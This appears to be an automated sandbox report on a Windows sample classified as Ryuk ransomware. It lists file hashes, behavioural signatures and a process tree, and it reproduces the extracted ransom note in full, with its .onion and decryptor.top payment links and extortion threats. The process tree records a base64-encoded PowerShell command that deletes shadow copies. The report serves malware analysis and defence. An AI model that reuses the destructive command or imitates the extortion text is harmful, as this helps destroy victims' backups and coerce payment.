Overview

overview

10

Static

static

10

7029920843...1a.exe

windows7_x64

10

7029920843...1a.exe

windows10_x64

10

Analysis

  • max time kernel
    167s
  • max time network
    157s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 01:51

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General

  • Target

    7029920843b2208d76c02eedd06402b066a8ecbeb6331969c2deb82302dee71a.exe

  • Size

    164KB

  • MD5

    8cca2085504d50223994b77637e3c946

  • SHA1

    cb0cae364b3993732e9f832dabc1425cb9ebafe8

  • SHA256

    7029920843b2208d76c02eedd06402b066a8ecbeb6331969c2deb82302dee71a

  • SHA512

    56157c3770c7f3f272b6a8ffd36b2cd25e151efa08bd30cf0fb2f1bf40fee4346771a67eca70c59083125bd5a441cc08de6be527548f1d147d8cea8f01efdf51

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\u7v6v-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension u7v6v. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4B8CBA405E798DE8 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/4B8CBA405E798DE8 Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: GyRa3sQcqsQ5JwGIaK8fCGFklVYCipd6XBDiJf0YZrRN8477DJ1qx2pCKnKeXbQJ faLrMHTqiSk47XFrPJ1EWxHd/+CmIElbG2rcB4iItYB/kM/pUAi0lgiAOe7+CGWk ISVDOZ6M7ya4D4vIoJRNyVTZFpfPu5aQ+Buxd7fKg3DUhE7MPJEDI6sQLeH7M2yi 3V5SOTW6ghkYGVyWSz4fx1h83q2+PtyWqxTOIEksmo8pwKcFqkdY7hGnL6xDWG8L /fcvE6VGp6zI1Z5aDYLPoDdd0YxpLfFHIDUCMHv4oNAPTkfGKlhnE3dw13KT8QQT 7ygZKlBiznU8UC817Ny79ELoiiOfS8SWsASecXNtoGUra/6JbKhlEsNIF1NKNlYq O4iqLZ0VTbHDf8Y/fy8oCxsq2jODqd9OWWsNuN9j7i/ec9ULlLchwrYfowLnsTJh yoC8yCZ059ebZnnRCQzUygNkqvbTa7xmZPJbRRdVDtb2zO2xp1cyqypn+/6kqp6g XS5BKW1ffHJaOa0K2yTvd40RlEzUvS/agvW1p20gmF6r3NGc1v+W4yBXF+BY4TWw gMy6GSqPmdvcE1/XYoAnZp/sVF/xmpUt4WUWrnDOri0GLv1WM3IEkIcFSVvojxVE VtOgs00uYBKkFljzjhLucQpZ7Va3vaGXq3UXh0v9M2lwAF1qCcW2S4lJz6rM5pQi BkPo9im9OQxNuTBd4n6rYX3PLVsDearb7vLz6M2PHzQPlRV8JNIxHRt7/BnYsjy2 m99pf5W/t51j/Q4Ph6GsV5QFmVgy/NnsBwx1uDLF4Bk3DaK3UiMtElBeKeX8ch9V /BSysFHpWVDVAC9Y9mwvhqsIPw0S2Wkx13aXfYcbChRJ6DNS52K3G6+67CiMWGJy gnkYvfvquJ523/QKRE1d3E8dnx/qAqPbvi6x5rsY+lVX+NZGvZ8/byr51Mr/ZcoR yHB10u13SaJviehKyF1xFtN1C4ytbChpEpsvV+WvPA9qv3Tc/vMnl6VnR/Ykm+v3 Z9PxynOoT2mup3L9Q9a6O+4UbyqAoBwZvl9hR2sfAOagBEuiOHshKe28ggBCr0hN D7hGgCI8uczlIEqo4/0NOMme0zaERCU/dEJkdfFVytDRG5x3zMjFkTsi Extension name: u7v6v ----------------------------------------------------------------------------------------- postscript: In case you want to independently decrypt your servers, we will be forced to put the databases of your companies in the public domain. MDF files: DB_UTILITY LeasePlus LPSecurity LTShared PaperVision !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4B8CBA405E798DE8

http://decryptor.top/4B8CBA405E798DE8

https://filehippo.com/download_tor_browser_for_windows/

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7029920843b2208d76c02eedd06402b066a8ecbeb6331969c2deb82302dee71a.exe
    "C:\Users\Admin\AppData\Local\Temp\7029920843b2208d76c02eedd06402b066a8ecbeb6331969c2deb82302dee71a.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1304
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2180
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3208

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1304-122-0x000001ED21830000-0x000001ED21832000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1304-123-0x000001ED21833000-0x000001ED21835000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1304-124-0x000001ED21910000-0x000001ED21932000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1304-127-0x000001ED3A930000-0x000001ED3A9A6000-memory.dmp

      Filesize

      472KB

      Download